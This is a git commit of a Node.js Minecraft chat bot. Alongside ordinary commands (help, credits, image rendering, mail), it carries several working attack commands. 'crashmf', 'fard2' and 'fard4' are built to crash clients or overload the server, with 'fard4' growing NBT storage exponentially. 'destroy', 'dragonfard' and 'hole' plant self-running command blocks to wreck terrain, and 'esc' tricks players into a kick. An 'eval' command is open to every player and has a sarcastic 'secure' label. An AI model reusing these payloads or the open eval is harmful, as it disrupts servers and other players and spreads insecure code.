first commit

This commit is contained in:
Chipmunk 2024-02-11 21:23:41 -05:00
commit ebde071dae
92 changed files with 69324 additions and 0 deletions

115
.gitignore vendored Normal file
View file

@ -0,0 +1,115 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Config files
config.js
config.json
# Other
logs
music
images
videos
functions

24
LICENSE Normal file
View file

@ -0,0 +1,24 @@
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <https://unlicense.org>

19
ban.js Normal file
View file

@ -0,0 +1,19 @@
const name = 'exploit'
const description = 'Uses exploits.'
const usage = '{prefix}exploit'
const aliases = ['exploit']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const exploit = args.shift()
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Attempting exploit ', color: bot.colors.primary },
{ text: exploit, color: bot.colors.secondary },
'.'
])}`)
bot.exploits[exploit](args.join(' '))
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

141
bot.js Normal file
View file

@ -0,0 +1,141 @@
const mc = require('minecraft-protocol')
const { EventEmitter } = require('events')
const fs = require('fs')
const path = require('path')
function createBots (servers = ['localhost'], options = {}) {
const bots = []
servers.forEach((server) => {
const a = server.split(':')
options.host = a[0]
options.port = parseInt(a[1])
options.brand = a[2]
const bot = createBot({ ...options })
bot.getBots = () => bots
bot.on('error', console.error) // "fix"
bots.push(bot)
})
return bots
}
function createBot (options = {}) {
// defaults
options.username ??= 'Bot'
// options.password = options.password ?? null
options.prefix ??= '!'
options.brand ??= 'vanilla' // found that mineflayer has this so i added it here lol
options.plugins ??= {}
fs.readdirSync(
'plugins'
).forEach((file) => { // populate plugins array
if (file.endsWith('.js') && options.plugins[file] == null) {
options.plugins[file] = require(path.resolve('plugins', file))
}
})
const plugins = []
Object.keys(options.plugins).forEach((key) => {
const plugin = options.plugins[key]
if (plugin) plugins.push(plugin)
})
options.colors ??= {}
options.colors.primary ??= 'white'
options.colors.secondary ??= 'green'
options.autoReconnect ??= false
options.randomizeUsername ??= false
options['online-mode'] ??= {}
options['online-mode'].enabled ??= false
options['online-mode'].username ??= null
options['online-mode'].password ??= null
// fard
if (options.randomizeUsername) {
options.username += '\u00a7' + String.fromCharCode(Math.floor(Math.random() * 65535))
}
if (options['online-mode'].enabled) {
options.username = options['online-mode'].username
options.password = options['online-mode'].password
}
// actually create the bot lol
const bot = new EventEmitter()
bot.plugins = plugins
bot.loadPlugin = loadPlugin
// add fards
bot.host = options.host
bot.port = options.port
/* bot._client.on('set_protocol', (packet) => {
bot.host = packet.serverHost
bot.port = packet.serverPort
}) */
// bot.username = () => bot._client.username
// bot.uuid = () => bot._client.uuid
bot.prefix = options.prefix
bot.brand = options.brand
bot.colors = options.colors
bot.autoReconnect = options.autoReconnect
bot.randomizeUsername = options.randomizeUsername
bot['online-mode'] = options['online-mode']
// set the client and add listeners
bot.on('set_client', (client) => {
client.on('connect', () => bot.emit('connect'))
client.on('error', (err) => bot.emit('error', err))
bot.end = (...r) => bot._client.end(...r)
client.on('end', (reason) => {
bot.loggedIn = false
bot.emit('end', reason)
// auto reconnect
if (bot.autoReconnect) {
setTimeout(() => {
if (bot.randomizeUsername && !bot['online-mode'].enabled) { options.username = options.username.slice(0, -2) + '\u00a7' + String.fromCharCode(Math.floor(Math.random() * 65535)) }
bot._client = mc.createClient(options)
bot.emit('set_client', bot._client)
}, 6000)
}
})
// more fard listeners
bot.loggedIn = false
bot._client.on('login', () => {
bot.loggedIn = true
bot.emit('login')
})
// position code
bot.position = { x: null, y: null, z: null } // to prevent errors i guess
bot._client.on('position', (position) => (bot.position = position))
// plugin injection
bot.plugins.forEach((plugin) => {
if (typeof plugin.client === 'function') plugin.client(bot, bot._client)
})
})
bot._client = options.client ?? mc.createClient(options)
bot.emit('set_client', bot._client)
bot.plugins.forEach((plugin) => {
if (typeof plugin.bot === 'function') plugin.bot(bot)
})
function loadPlugin (plugin) {
try {
if (typeof plugin.bot === 'function') plugin.bot(bot)
if (typeof plugin.client === 'function') plugin.client(bot, bot._client)
bot.plugins.push(plugin)
} catch (e) {
console.log(`Error loading ${plugin}:`)
console.log(require('util').inspect(e))
}
}
return bot
}
module.exports = { createBot, createBots }

96
commands.js Normal file
View file

@ -0,0 +1,96 @@
const fs = require('fs')
const path = require('path')
const cperms = require('./cperms2.js')
let commands = {}
function addCommand (command) {
if (!isValid(command)) throw new Error(`Command ${command} is invalid.`)
if (commands[command] == null) { commands[command] = command }
command.aliases.forEach((alias) => {
alias = alias.toLowerCase()
if (commands[alias] == null) commands[alias] = command
})
}
function load () {
fs.readdirSync(
path.join(__dirname, 'commands')
).forEach((file) => {
if (file.endsWith('.js')) {
const command = path.join(__dirname, 'commands', file)
try {
const cmd = require(command)
addCommand(cmd)
} catch (e) {
console.log(`Error loading command ${command}:`)
console.log(require('util').inspect(e))
}
}
})
}
function reload () {
try {
Object.keys(commands).forEach(key => {
const command = commands[key]
delete require.cache[command.path]
})
} catch (err) { }
commands = {}
load()
}
function execute (bot, command, player, args, ...custom) {
const cmd = info(command)
if (!cmd.enabled) { return bot.core.run(`/bcraw &cThe command ${bot.prefix}${command} is disabled.`) }
if (cmd.permLevel > 0) {
if (args.length < 1) {
bot.core.run('/bcraw &cYou must provide a code to run this command.')
return
}
const code = args.splice(-1, 1)[0].replace(/\u00a7.?/g, '')
if (!cperms.validate(cmd.permLevel, player.name, code)) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: `Invalid code: ${code}.`, color: bot.colors.error }
])}`)
return
}
}
try {
return cmd.execute(bot, command, player, args, module.exports, ...custom)
} catch (err) {
console.log(`Error executing command ${command}:`)
console.log(err)
bot.core.run(`/tellraw @a ${JSON.stringify({ text: err.message, color: bot.colors.error })}`)
}
}
function info (command) {
return commands[command]
}
function isCommand (command) {
return commands[command] != null
}
function isValid (command) {
return command != null &&
typeof command.execute === 'function' &&
typeof command.name === 'string' &&
typeof command.description === 'string' &&
Array.isArray(command.usages) &&
Array.isArray(command.aliases) &&
typeof command.enabled === 'boolean' &&
command.aliases.length > 0 &&
typeof command.permLevel === 'number'
}
module.exports = { addCommand, load, reload, execute, info, isCommand, isValid, commands }

23
commands/badapple.js Normal file
View file

@ -0,0 +1,23 @@
const name = 'badapple'
const description = 'Plays a badapple video.'
const usages = ['[stop]']
const aliases = ['badapple']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args) {
if (args[0] === 'stop') {
bot.video.stop()
bot.music.skip()
return
}
bot.video.summon(player.UUID, (uuids) => {
bot.music.stop()
bot.music.queue.push('./music/badapple.mid')
bot.video.play('./videos/badapple.txt', uuids)
})
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

47
commands/blacklist.js Normal file
View file

@ -0,0 +1,47 @@
const name = 'blacklist'
const description = 'idk'
const usages = [
'add <pattern> <flags>',
'remove <pattern> <flags>',
'list'
]
const aliases = ['blacklist']
const enabled = true
const permLevel = 1
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let i, msg
switch (subCmd) {
case 'add':
bot.blacklist.push([args[0], args[1]])
bot.core.run(`minecraft:tellraw @a ${JSON.stringify([
{ text: 'Added regex ', color: bot.colors.primary },
{ text: `/${args[0]}/${args[1]}`, color: bot.colors.secondary },
' to the blacklist.'
])}`)
break
case 'remove':
i = bot.blacklist.indexOf([args[0], args[1]])
if (i < 0) throw new Error(`There is no regex /${args[0]}/${args[1]} in the blacklist.`)
bot.blacklist.splice(i, 1)
bot.core.run(`minecraft:tellraw @a ${JSON.stringify([
{ text: 'Removed regex ', color: bot.colors.primary },
{ text: `/${args[0]}/${args[1]}`, color: bot.colors.secondary },
' from the blacklist.'
])}`)
break
case 'list':
msg = [{ text: 'Regexes:\n', color: bot.colors.primary }]
bot.blacklist.forEach(([pattern, flags]) => {
msg.push({ text: `/${pattern}/${flags}\n`, color: bot.colors.secondary })
})
msg[msg.length - 1].text = msg[msg.length - 1].text.slice(0, -1)
bot.core.run(`minecraft:tellraw @a ${JSON.stringify(msg)}`)
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

42
commands/bruhify.js Executable file
View file

@ -0,0 +1,42 @@
const name = 'bruhify'
const description = 'recyclebot'
const usages = ['<text>']
const aliases = ['bruhify']
const enabled = true
const permLevel = 0
let isBruhifying = false
const colorsys = require('colorsys')
function execute (bot, cmd, player, args, handler) {
if (isBruhifying) throw new Error('The bot is already bruhifying text!')
isBruhifying = true
const message = args.join(' ')
const lines = []
let j = 0
for (let i = 0; i < message.length; i++) {
const result = []
let hue = j
message.split('').forEach((char) => {
result.push({ text: char, color: colorsys.hsv2Hex(hue, 100, 100) })
hue += 355 / Math.max(message.length, 20)
})
lines.push(JSON.stringify([{ text: '▚ ', color: 'light_purple' }].concat(result, [' ▚'])))
j += 355 / Math.max(message.length, 20)
}
let k = 0
const interval = setInterval(() => {
bot.core.run(`minecraft:tellraw @a ${lines[k]}`)
if (++k > lines.length) {
clearInterval(interval)
isBruhifying = false
}
}, 50)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/cb.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'cb'
const description = 'Runs a command in the command core'
const usages = ['<command...>']
const aliases = ['cb']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args) {
bot.core.run(args.join(' '))
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

19
commands/clearchat.js Normal file
View file

@ -0,0 +1,19 @@
const name = 'clearchat'
const description = 'Clears the chat'
const usages = ['[selector]']
const aliases = ['clearchat', 'cc']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const text = []
while (text.length < 100) {
text.push('\n')
}
text.push({ text: 'The chat has been cleared', color: 'dark_green' })
bot.core.run(`/minecraft:tellraw ${args.join(' ') || '@a'} ${JSON.stringify(text)}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

50
commands/client.js Normal file
View file

@ -0,0 +1,50 @@
const name = 'client'
const description = 'Creates and manages clients using minecraft-protocol.'
const usages = ['create <options (json)>', 'end <i>', 'write <i> <name> <data (json)>', 'list']
const aliases = ['client']
const enabled = true
const permLevel = 2
const mc = require('minecraft-protocol')
const clients = []
const sectionRegex = /\u00a7.?/g
const util = require('util')
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let client, i, name, data
switch (subCmd) {
case 'create':
client = mc.createClient(JSON.parse(args.join(' ').replace(sectionRegex, '')))
i = clients.length
client.on('login', () => bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: client.username + '\u00a7r logged in.', color: bot.colors.primary })))
client.on('end', () => {
clients.splice(i, 1)
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: client.username + '\u00a7r ended.', color: bot.colors.primary }))
})
client.on('error', (err) => bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: util.inspect(err).replace(/\n.*/g, ''), color: bot.colors.error })))
clients.push(client)
break
case 'end':
i = parseInt(args.join(' '))
clients[i].end()
clients.splice(i, 1)
break
case 'write':
i = parseInt(args.shift())
name = args.shift()
data = JSON.parse(args.join(' ').replace(sectionRegex, ''))
clients[i].write(name, data)
break
case 'list':
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: 'Clients: ' + clients.map(client => client.username).join('\u00a7r, '), color: bot.colors.primary }))
break
default:
throw new Error('Invalid or missing argument')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

49
commands/cloop.js Normal file
View file

@ -0,0 +1,49 @@
const name = 'cloop'
const description = 'Loops commands'
const usages = [
'add <command...>',
'remove <index>',
'list'
]
const aliases = ['cloop']
const enabled = true
const permLevel = 1
function execute (bot, cmd, player, args, handler) {
const subCommand = args.shift()
let interval, command, i, msg
switch (subCommand) {
case 'add':
interval = parseFloat(args.shift())
command = args.join(' ').replace(/u00a7.?/g, '')
bot.cloops.push({ command, interval })
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Added command ', color: bot.colors.primary },
{ text: command, color: bot.colors.secondary },
' to cloops.'
])}`)
break
case 'remove':
i = parseFloat(args.shift())
bot.cloops.splice(i, 1)
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Removed cloop ', color: bot.colors.primary },
{ text: i, color: bot.colors.secondary },
'.'
])}`)
break
case 'list':
msg = [{ text: 'Cloops: \n', color: bot.colors.primary }]
for (const i in bot.cloops) {
msg.push({ text: `${i}: ` })
msg.push({ text: `${bot.cloops[i].command}\n`, color: bot.colors.secondary })
}
bot.core.run(`/tellraw @a ${JSON.stringify(msg)}`)
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

16
commands/consoleserver.js Normal file
View file

@ -0,0 +1,16 @@
const name = 'consoleserver'
const description = 'sets the console server'
const usages = ['<host...>']
const aliases = ['consoleserver', 'consolesvr', 'csvr']
const enabled = false
const permLevel = 0
function execute (bot, cmd, player, args) {
const host = args.join(' ')
bot.getBots().forEach(bot => {
bot.console.host = host
})
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/crashmf.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'crashmf'
const description = 'Crashes mineflayer bots.'
const usage = '{prefix}crashmf'
const aliases = ['crashmf']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
bot.core.run(`/tellraw @a ${JSON.stringify({ translate: 'translation.test.invalid', with: ['amogeese'] })}`)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

37
commands/credits.js Normal file
View file

@ -0,0 +1,37 @@
const name = 'credits'
const description = 'Shows bot credits.'
const usages = []
const aliases = ['credits']
const enabled = true
const permLevel = 0
const pack = require('./../package.json')
function execute (bot, cmd, entity, args, handler) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: '', color: 'gray' },
{ text: 'Credits\n', color: bot.colors.primary, bold: true },
{ text: '_ChipMC_', color: 'blue' },
' - creating the bot\n',
{ text: 'hhhzzzsss', color: 'aqua', bold: true },
' and ',
{ text: 'eva', color: 'light_purple', italic: true },
' - creating the midi converter.\n',
{ text: 'ma', color: 'aqua' },
{ text: 'ni', color: 'light_purple' },
{ text: 'a', color: 'white' },
{ text: 'pl', color: 'light_purple' },
{ text: 'ay', color: 'aqua' },
' and ',
{ text: 'ayunami2000', color: 'red' },
' - creating the image converter',
`\n\nDependencies: ${Object.entries(pack.dependencies).join(' ')}`
])}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

17
commands/destroy.js Normal file
View file

@ -0,0 +1,17 @@
const name = 'destroy'
const description = 'destroy'
const usage = '{prefix}destroy'
const aliases = ['destroy']
const enabled = true
const permLevel = 1
function execute (bot, cmd, entity, args, handler) {
let i = 0
setInterval(() => {
bot.core.run(`/execute at @e run setblock ~ ~2 ~${i++} command_block{Command:'fill ~-10 ~-3 ~${i - 10} ~10 ~-3 ~${i + 10} stone destroy',auto:1} destroy`)
if (i > 50) { i = 0 }
}, 1)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

17
commands/dragonfard.js Normal file
View file

@ -0,0 +1,17 @@
const name = 'dragonfard'
const description = 'slash summon ender dragon'
const usage = '{prefix}dragonfard'
const aliases = ['dragonfard']
const enabled = true
const permLevel = 1
function execute (bot, cmd, entity, args, handler) {
let i = 0
setInterval(() => {
bot.core.run(`/execute at @e run setblock ~ 1 ~${i++} command_block{Command:'summon ender_dragon ~ ~ ~ {Health:0}',auto:1} destroy`)
if (i > 50) { i = 0 }
}, 1)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

13
commands/echo.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'echo'
const description = 'Echoes text'
const usages = ['<message...>']
const aliases = ['echo']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.core.run(`essentials:sudo ${bot._client.uuid} c:${args.join(' ')}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/end.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'end'
const description = 'Ends the bot\'s client.'
const usages = []
const aliases = ['end']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.end()
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/esc.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'esc'
const description = 'among.us website'
const usages = []
const aliases = ['esc']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.core.run('/tellraw @a ' + JSON.stringify({ text: 'Click here to get kicked!', underlined: true, clickEvent: { action: 'run_command', value: '/\x1bi' } }))
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

16
commands/eval.js Normal file
View file

@ -0,0 +1,16 @@
const name = 'eval'
const description = 'secure!!1'
const usages = ['<code...>']
const aliases = ['eval']
const enabled = true
const permLevel = 0
const util = require('util')
function execute (bot, cmd, player, args, handler) {
const result = bot.eval(args.join(' ').replace(/\xa7.?/g, ''))
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: util.inspect(result), color: bot.colors.primary }))
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

22
commands/fard2.js Normal file
View file

@ -0,0 +1,22 @@
const name = 'fard2'
const description = 'CustomName'
const usage = '{prefix}fard2'
const aliases = ['fard2']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
let cmd1 = 'title @a title "'
let prevCmd1 = ''
while ((cmd1.length + 1) < 32767) {
prevCmd1 = cmd1
cmd1 += 'e'
}
prevCmd1 += '"'
bot.core.run(prevCmd1)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

14
commands/fard4.js Normal file
View file

@ -0,0 +1,14 @@
const name = 'fard4'
const description = 'data modify storage'
const usage = '{prefix}fard4'
const aliases = ['fard4']
const enabled = true
const permLevel = 1
function execute (bot, cmd, entity, args, handler) {
bot.core.run('/data modify storage e e set value [e,e,e,e,e]')
setTimeout(() => bot.cloops.push({ command: '/data modify storage e e append from storage e e[]', interval: 1 }), 69)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

39
commands/function.js Normal file
View file

@ -0,0 +1,39 @@
const name = 'function'
const description = 'Runs mcfunctions.'
const usages = ['run <filepath...>', 'list']
const aliases = ['function', 'func']
const enabled = true
const permLevel = 0
const fs = require('fs')
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let filepath, files, msg
switch (subCmd) {
case 'run':
filepath = `./functions/${args.join(' ').replace(/§./g, '')}`
if (!filepath.endsWith('.mcfunction')) filepath += '.mcfunction'
if (/\.\.\//.test(filepath) || !fs.existsSync(filepath)) throw new Error('Invalid function name')
bot.runFunction(filepath)
break
case 'list':
files = fs.readdirSync('./functions')
// files.filter((file) => file.endsWith('.mid'))
msg = [{ text: 'Functions:\n', color: bot.colors.primary }]
files.forEach((file) => {
msg.push(file)
msg.push({ text: ', ', color: bot.colors.secondary })
})
msg.splice(-1, 1) // msg[msg.length - 1].text = '.'
bot.core.run(`/tellraw @a ${JSON.stringify(msg)}`)
break
default:
throw new Error('Missing or invalid argument')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

81
commands/help.js Normal file
View file

@ -0,0 +1,81 @@
const name = 'help'
const description = 'Lists commands or shows info about a command.'
const usages = ['[command]']
const aliases = ['help']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args) {
if (args.length > 0) {
if (!bot.commands.isCommand(args[0])) { return bot.core.run(`/tellraw @a ${JSON.stringify({ text: `Unknown command: ${bot.prefix}${args[0]}`, color: bot.colors.error })}`) }
const command = bot.commands.info(args.shift())
let msg
if (command.usages.length !== 1) {
msg = [
{ text: bot.prefix + command.name, color: bot.colors.primary },
{ text: ' (' + command.aliases.join(', ') + ')', color: 'white' },
{ text: ` - ${command.description}\n`, color: 'gray' }
]
command.usages.forEach((usage, i) => {
msg.push(bot.prefix + command.name)
msg.push({
text: ` ${usage}\n`,
color: bot.colors.secondary,
clickEvent: { action: 'suggest_command', value: command.name + ' ' + usage }
// hoverEvent: { action: 'show_text', value: 'Click to teleport' }
})
})
msg[msg.length - 1].text = msg[msg.length - 1].text.slice(0, -1)
} else {
msg = [
{ text: bot.prefix + command.name, color: bot.colors.primary },
{ text: ' (' + command.aliases.join(', ') + ')', color: 'white' },
{
text: ` ${command.usages[0]}`,
color: bot.colors.secondary,
clickEvent: { action: 'suggest_command', value: command.name + ' ' + command.usages[0] }
},
{ text: ` - ${command.description}`, color: 'gray' }
]
}
return bot.core.run(`minecraft:tellraw @a ${JSON.stringify(msg)}`)
}
let commands = []
Object.keys(bot.commands.commands).forEach((command) => {
if (bot.commands.isCommand(command) && !commands.includes(bot.commands.info(command))) { commands.push(bot.commands.info(command)) }
})
commands = commands.filter((command) => command.enabled)
const publicList = []
const trustedList = []
const adminList = []
const unknownList = []
commands.forEach((command) => {
const msg = {
color: 'dark_aqua',
text: bot.prefix + command.name + ' ',
clickEvent: { action: 'run_command', value: bot.prefix + aliases[0] + ' ' + command.name },
hoverEvent: { action: 'show_text', value: 'Click to see info about the command' }
}
if (command.permLevel === 0) {
msg.color = 'green'
publicList.push(msg)
} else if (command.permLevel === 1) {
msg.color = 'red'
trustedList.push(msg)
} else if (command.permLevel === 2) {
msg.color = 'dark_red'
adminList.push(msg)
} else {
unknownList.push(msg)
}
})
const msg = [{ text: 'Commands - ', color: 'gray' }, ...publicList, ...trustedList, ...adminList, ...unknownList]
bot.core.run(`/tellraw @a ${JSON.stringify(msg)}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

16
commands/hole.js Normal file
View file

@ -0,0 +1,16 @@
const name = 'hole'
const description = 'Hole.'
const usage = '{prefix}hole <selector>'
const aliases = ['hole']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
let selector = args.join(' ')
if (selector.includes(' ') && !selector.startsWith('@')) { selector = `@a[name="${selector.replace(/"/, '\\"')}"]` }
bot.core.run(`/execute at ${selector} run setblock ~ 1 ~ command_block{Command:'fill ~-1 0 ~-1 ~1 255 ~1 air destroy',auto:1}`)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

77
commands/image.js Normal file
View file

@ -0,0 +1,77 @@
const name = 'image'
const description = 'Renders an image.'
const usages = [
'render <name/url>',
'list'
]
const aliases = ['image']
const enabled = true
const permLevel = 0
const fs = require('fs')
const convertImage = require('../util/convert-image.js')
const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt.js')
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let src, files, primary, msg
switch (subCmd) {
case 'render':
src = args.join(' ').replace(/§.?/g, '')
if (/https?:\/\//.test(src)) {
bot.core.run(`/minecraft:tellraw @a ${JSON.stringify([
{ text: 'Attempting to convert image at ', color: bot.colors.primary },
{ text: src, color: bot.colors.secondary },
'.'
])}`)
} else {
src = `./images/${src}`
if (!src.endsWith('.jpg')) { src += '.jpg' }
if (src.match(/\//g).length > 2) { throw new Error('Invalid image name.') }
if (!fs.existsSync(src)) { throw new Error('Invalid image name.') }
bot.core.run(`/minecraft:tellraw @a ${JSON.stringify([
{ text: 'Attempting to convert image ', color: bot.colors.primary },
{ text: args.join(' ').replace(/§.?/g, ''), color: bot.colors.secondary },
'.'
])}`)
}
convertImage(src, (err, lines) => {
if (err) {
bot.core.run(`minecraft:tellraw @a ${JSON.stringify({ text: err.message, color: bot.colors.error })}`)
return
}
lines.forEach((line, i) => {
bot.exploits.execute(`at ${player.UUID} run summon armor_stand ~ ~${(i * -0.05) + (lines.length * 0.05) - 0.3} ~ ${SNBT.stringify(nbt.comp({ CustomName: nbt.string(line), CustomNameVisible: nbt.byte(1), Invisible: nbt.byte(1), Marker: nbt.byte(1), Health: nbt.float(0), DeathTime: nbt.int(99999) }))}`)
if ((i + 1) >= lines.length) bot.core.run(`minecraft:tellraw @a ${JSON.stringify({ text: 'Finished rendering!', color: bot.colors.primary })}`)
})
})
break
case 'list':
files = fs.readdirSync('./images')
files.filter((file) => file.endsWith('.jpg'))
primary = false
msg = [{ text: 'Images - ', color: 'gray' }]
files.forEach((file) => {
msg.push({
text: `${file} `,
color: (((primary = !primary)) ? bot.colors.primary : bot.colors.secondary),
clickEvent: { action: 'run_command', value: `${bot.prefix}${name} render ${file}` },
hoverEvent: { action: 'show_text', value: 'Click to render the image' }
})
})
bot.core.run(`/tellraw @a ${JSON.stringify(msg)}`)
break
default:
throw new Error('Invalid or missing argument.')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

26
commands/kahoot.js Normal file
View file

@ -0,0 +1,26 @@
const name = 'kahoot'
const description = 'kahoot client lol'
const usages = ['join <pin> <username>', 'leave', 'answer <answer>']
const aliases = ['kahoot']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
switch (subCmd) {
case 'join':
bot.kahoot.join(parseFloat(args.shift()), args.join(' '))
break
case 'leave':
bot.kahoot.leave()
break
case 'answer':
bot.kahoot.answer(parseFloat(args.join(' ')))
break
default:
throw new Error('Invalid or missing argument.')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

40
commands/kbwl.js Normal file
View file

@ -0,0 +1,40 @@
const name = 'kbwl'
const description = 'white list'
const usages = ['on', 'off', 'add', 'remove', 'list']
const aliases = ['kbwl']
const enabled = true
const permLevel = 1
function execute (bot, cmd, player, args, handler) {
const subCommand = args.shift()
const username = args.join(' ')
let i
switch (subCommand) {
case 'on':
bot.kbwl.players.push(player.name)
bot.kbwl.enabled = true
bot.core.run('bcraw &bKBWL is now on.')
break
case 'off':
bot.kbwl.enabled = false
bot.core.run('bcraw &bKBWL is now off.')
break
case 'add':
bot.kbwl.players.push(username)
bot.core.run(`bcraw &aAdded ${username} to the whitelist.`)
break
case 'remove':
i = bot.kbwl.players.indexOf(username)
if (i < 0) { return bot.core.run(`/bcraw &cThe player ${username} is not whitelisted!`) }
bot.kbwl.players.splice(1, i)
break
case 'list':
bot.core.run(`/tellraw @a ${JSON.stringify(`Whitelisted players: \n${bot.kbwl.players.join('\n')}`)}`)
break
default:
throw new Error('Invalid or missing argument.')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

50
commands/mail.js Normal file
View file

@ -0,0 +1,50 @@
const name = 'mail'
const description = 'Shows mail.'
const usages = ['send <username> <message>', 'list', 'clear']
const aliases = ['mail']
const enabled = true
const permLevel = 0
const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt.js')
const toNBTUUID = require('../util/uuid-to-nbt-uuid.js')
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let u, message, messages, msg
switch (subCmd) {
case 'send':
u = args.shift()
message = args.join(' ')
bot.sendMail(player.name, bot.players[u].name ?? u, message)
bot.core.run(`minecraft:tellraw @a[nbt=${SNBT.stringify(nbt.comp({ UUID: toNBTUUID(player.UUID) }))}] ${JSON.stringify([
{ text: 'Sent ', color: bot.colors.primary },
{ text: message, color: bot.colors.secondary },
' to ',
{ text: u, color: bot.colors.secondary },
'.'
])}`)
break
case 'list':
messages = bot.mail[player.name]
if (!messages || messages.length < 1) return bot.core.run(`minecraft:tellraw @a[nbt=${SNBT.stringify(nbt.comp({ UUID: toNBTUUID(player.UUID) }))}] ${JSON.stringify({ text: 'You have no mail', color: bot.colors.primary })}`)
